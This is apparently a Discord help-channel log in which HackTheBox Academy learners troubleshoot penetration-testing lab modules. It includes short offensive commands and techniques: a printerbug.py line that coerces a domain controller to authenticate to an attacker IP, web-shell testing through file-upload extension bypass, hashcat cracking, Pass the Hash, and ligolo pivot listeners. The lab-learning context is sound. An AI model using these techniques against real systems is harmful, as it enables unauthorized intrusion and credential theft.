[fathom pendant]

Could be a multitude of different variables

[flat halo]

Well I don't know hydra keeps throwing errors with the RDP bruteforcing in my VM but worked with the Pwnbox of academy 😕
anyway here's the link -> https://academy.hackthebox.com/module/147/section/1327#questionsDiv

[fathom pendant]

could be a multitude of factors causing it to not work properly

could be as simple as running both pwnbox and vm at the same time, or that you were having connection issues, or for whatever reason your device isn't properly sending the request

[severe violet]

I am using uname -r in the Bash terminal and the academy is not accepting my answer for the question, Which kernel release is installed on the system? (Format: 1.22.3) from that command. Is there anything I am doing wrong?

[severe violet]

Omg. got it. Nevermind. They wanted me to login with SSH and not use the embedded window.

[lime root]

Im having some trouble with the module "working with files and directories" in the linux fundamentals section. I can't seem get an ssh connection using the IP and the password provided at the bottom of the page. Has anyone else ran into this issue?

[modest crane]

@everyone do anybody got done with the credential hunting in network shares part

[carmine ingot]

How can i chat in #general ?

[acoustic owl]

Read and follow #welcome

[carmine ingot]

Thx, i will do that later

[fathom pendant]

Are you connected to the vpn?

[azure verge]

I am not able to crack 'bitlocker hash' in "Cracking Protected Archives" section of "Password Attacks". I have extracted hash using bitlocker2hash and tried to crack it using .\hashcat.exe .\hash.txt -m 22100 .\rockyou.txt. Can someone help me with it?

[severe violet]

I was running into this. You need a very good internet connection. Next you download the OpenVPN application and install it. Finally, download the TCP VPN file from the HTB Academy website. This VPN file should be at the bottom of the page. Once that VPN file has been imported into OpenVPN and the VPN connection activated, then you should have no trouble using SSH.

[cloud urchin]

Please don't ping the entire server. Just ask your question here and be patient.

[modest crane]

okie

[lime root]

I figured it out. I’m an idiot and used an underscore instead of a dash

[severe violet]

We all feel like idiots going through that course. Hopefully when I’m done I will feel like a smarter idiot.

[lime root]

We were driving down the road and I wasn’t paying enough attention lol

[snow dust]

Good afternoon everyone, I need bug bountys to find some bugs in my domains

[cloud urchin]

That's not what this discord is for. This place is for discussion of the various HTB platforms.

[snow dust]

Sorry, I didn't know about that.

[fathom pendant]

ah a classic ID-10T

[woven merlin]

Hi

[lime root]

Precisely 😅😅

[fathom pendant]

or as the kids these days may call it PEBKAC

Problem Exists Between Keyboard And Chair

[lime root]

I can’t understand kids and their slang these days lol. My kids are always saying some off the wall stuff and I have no clue what it means

[south marten]

hello, im stucked in pass the hash first question, im usin impacket-psexec and im getting and error

[woven merlin]

Does anyone know a good way to do sql injection? Can anyone help?

[cloud urchin]

Try the sql injection fundamentals module on Academy

[woven merlin]

Thanks you sir❤️🇧🇩

[south marten]

i prove all the tools to pass the hash and all give me the same error , ( No route to host)

[supple oxide]

Hi everyone Ive got an issue and I hate it. Im doing HTB for the last 3 months I've done all the fundamental modules and now im finally moving on in my pentester job role. I am way too reliant on chatGPT and I hate it.

Im currently doing the Firewall and IDS/IPS Evasion - Medium Lab and I cant get passed the firewall to find the DNS service version.

I would love some general and specific advice if posssible.

[cold star]

I am too reliant on chatgpt Dont worry, Just maintain your notes

[mild jungle]

what module is this under?

[cold star]

NMAP Ig

[south marten]

someone can help?

[mild jungle]

which module

[south marten]

pass the hash

https://academy.hackthebox.com/module/147/section/1638

[mild jungle]

password attacks?

[cold star]

password attacks

[mild jungle]

thank you

[south marten]

yes

i try all the tools in the section and i got the same error

[cloud urchin]

@south marten Please make sure not to post content from modules above tier 0

[supple oxide]

Network Enumeration with Nmap

[mild jungle]

Are you using your own machine?

rather than pwnbox?

[supple oxide]

I actually hate that reliance its like an addiction/laziness

[south marten]

yes, is my own machine

[south marten]

okay, im sorry

[cold star]

make use of technology, No need to spend hour fixing a silly problem when the ai can help you but make sure to learn from the AI and take notes of the solution for future

[supple oxide]

So do you not feel that the more difficult road of sifting thru readings is a better way to learn instead of using AI to explain it?

[cold star]

No I like AI We should make use of technology but dont get too depended on it

depends from person to person. You can use gpt if you like and makes ur learning fun but yea different opinions

[mild jungle]

@supple oxide I added you as a friend so we can either talk through it in DM's or if you want to battle the rate limit we can do so here 🙂

[mild jungle]

1: the command syntax you had worked out of the box for me through the pwnbox so I would check that you're using the correct interface/ running the vpn on your machine

2: There wasnt a second thing so I don't know why I made this a list

[south marten]

it was the vpn server

[mild jungle]

fixed now?

[south marten]

i change the vpn server and it fix it, soy yea

[mild jungle]

https://tenor.com/view/borat-borat-very-nice-verynice-thumbs-up-gif-25080066

[south marten]

When I do rdp it goes to -2 fps, how can I fix it?

[cloud urchin]

is this in a vm? maybe give it more video ram

[south marten]

yes, i have 8 ram

in the vm

[cloud urchin]

ok so up the video ram see if it helps

[lime cosmos]

i want to confirm something in this commad
python3 printerbug.py INLANEFREIGHT.LOCAL/<USER>:"PASS"@<DC01> <ATTACKER-ip> # force DC01 to auth back to ATTCKER

in the Pass the Certificate : printer bug
here we force the Domain controller (printer spooler service) to auth back to us so we will be in the result the ntlm of the domain controller right ?

[south marten]

nah, same

it goes really bad

[mild jungle]

are you talking about an xfreerdp session /

[south marten]

yes

[mild jungle]

could try some of these flags to optimize performance

/dynamic-resolution /compression /network:auto /gfx:AVC420:on +clipboard -themes

[south marten]

@mild junglecan u help me in julios hash question

Using Julio's hash, perform a Pass the Hash attack to connect to the shared folder \DC01\julio and read the file julio.txt.

[opal cape]

Hey guys in the File upload attacks module, in the blacklist filters, why am I getting lengths 225,229and 230 for my intruder attacks when I'm supposed to get 193. The status for all of them are 200 though

[mild jungle]

you end up being able to control the DC's machine account

[opal cape]

@mild jungle when you got a moment, any ideas on my question?

[mild jungle]

Yeah one sec

[mild jungle]

what part of it do you need help or understanding with?

[south marten]

im in pass the hash section 5th question .
Using Julio's hash, perform a Pass the Hash attack to connect to the shared folder \DC01\julio and read the file julio.txt.

[mild jungle]

no space between B and /domain

Need to add a space

[south marten]

The RDP is so bad for me that from time to time it throws me out lol

[mild jungle]

This was the only module I recall having choppy rdp for myself

[south marten]

i cant do rdp

fuckit

[opal cape]

Also I'm using the PHP extensions.lst PayloadsAllTheThings payload

[mild jungle]

I presume this is because your file extension names are varying in length

I'm going to look though

[opal cape]

Yes I'm doing exactly as the module says but I'm not getting the length 193 in my payload attacks. And the "phtml" which i think is the right extension is showing me a response in the intruder that says "extension not allowed"

[mild jungle]

phtml is correctly not allowed

The reason its not 193 length is becuase theres additional content being returned now vs when this module was written:

Keep-Alive: timeout=5, max=99
Connection: Keep-Alive

The screenshots from the module do not have the Keep-Alive header and the connection value is different

Hence the 20-30 character length difference

[opal cape]

Okay but even when I try the extension where the file was accepted successfully like phpt, phtm or php3 and I try the url "/profile_images/(extension)?cmd=id" I get a blank page

[mild jungle]

Not all extensions will work with all web server configurations, try others!

[south marten]

SIXTH TIME I'VE BEEN DISCONNECTED FROM RDP

im in the last question

[gray yacht]

That is for law enforcement not this server.

[dark flume]

he tired nothing

nvm

[south marten]

Someone who wants to give me the last question (it sounds terrible, but I can't handle the connection with the RDP)

[craggy edge]

do you use the +auto-reconnect feature of xfreerdp?

[south marten]

nope, howi use it

[craggy edge]

I don't remember the exact syntax, you might need to check the man page or help menu

[mild jungle]

try capturing a request for visiting one of the files you uploaded and then running the same intruder list through it such as :

"/profile_images/(extension)?cmd=id" to view all responses faster than navigating to each uploaded file

[opal cape]

Ok let me try

[mild jungle]

as a nudge, the correct extension is in the list you said you were using 😄

[opal cape]

I tried sending php3, phtm and phpt to repeater with php shell and then visiting the url with ?cmd=id and I'm just getting blank page

Also tried php4

Do i have to send each one from the intruder attack, to the repeater first before trying the url?

[silk lagoon]

Not all of them are going to work for shell access

[cloud urchin]

Might want to take this to DMs since the File Upload module is above tier 0

[silk lagoon]

Just keep trying and look carefully within the response in intruder for the different kind of extensions

[opal cape]

Ok do i have to send them to the repeater each time before trying the url?

[silk lagoon]

You can dm me

[opal cape]

Issue resolved guys. I just didnt try every extension

Thanks

[spring flicker]

Is there a reason that you get different results running Responder or Inveigh on two machines in the same network, on the same subnet?

(Context /w AD Skill assessment spoiler) || Specifically on one of the AD skill assessments you start your attack running responder on the provided Linux attack host. Later, you have run responder or inveigh on a seperate compromised Windows host. Is this because the Windows machine is joined to the domain? I don't understand why responder on the Linux host is not sufficient||

[latent sorrel]

Hello all, I think there's a bug or change in the Service Scanning module: https://academy.hackthebox.com/module/77/section/726, when I run the latest ParrotOS vm with up to date nmap against port 8080 of the first target IP, nmap says it doesn't recognize the banner and suggests I submit it to them. I get an http response back, but not a recognized version. I'm using the same command as the hint says.

[fathom pendant]

other machines may be calling to it that aren't calling to the linux host

[rustic sage]

I'd love a bit of help trying to understand local port forwarding a service that's in an internal network, I made a bit of a diagram to help convey what I'm trying to do

[fathom pendant]

in order to access the localhost of comp_2 you'd need access to comp_2

so you'd need to get a second hop running from comp_2 => comp_1 => Kali/you

[fathom pendant]

i'm not getting any issues with the banner for that section

[rustic sage]

hop? as in another agent?

[fathom pendant]

yes

since the localhost of comp_2 isn't accessible by any other device

[latent sorrel]

Are you running nmap 7.94SVN?

[fathom pendant]

or you'd have to set up a forwarding rule (typically requires admin/root privileges) on the comp_2 device

[rustic sage]

where would the second agent point to though? because COMP_2 can't access Kali directly can it? and there's no ligolo server on COMP_1

[fathom pendant]

you don't need a server on comp_1

you can set up a listener

forward from comp_1:11601 => kali:11601

and have comp_2 call to comp_1:11601, which chains to your kali:11601 with the listener/rule

[fathom pendant]

yes dm me with the output you have

[spring flicker]

Oh that makes sense. Like direct SMB connections to that IP with a bad share name vs. traffic that gets broadcast out to the whole subnet over LLMR/mDNS/netbios?

[jolly oasis]

You are not alone my friend! I was stuck in the EXACT same way 🤣

[rustic sage]

so would the listener setup be: listener_add --addr 10.10.17.17:11601 --to 10.10.14.14:11061 then run on MS02: ./agent.exe --conect 10.10.17.17:11601 --retry --ignore-cert

i'll try it

[fathom pendant]

yep

if you haven't done the pivoting module, this is the core of it

what module is this for btw?

[rustic sage]

yeah the pivoting one, just using ligolo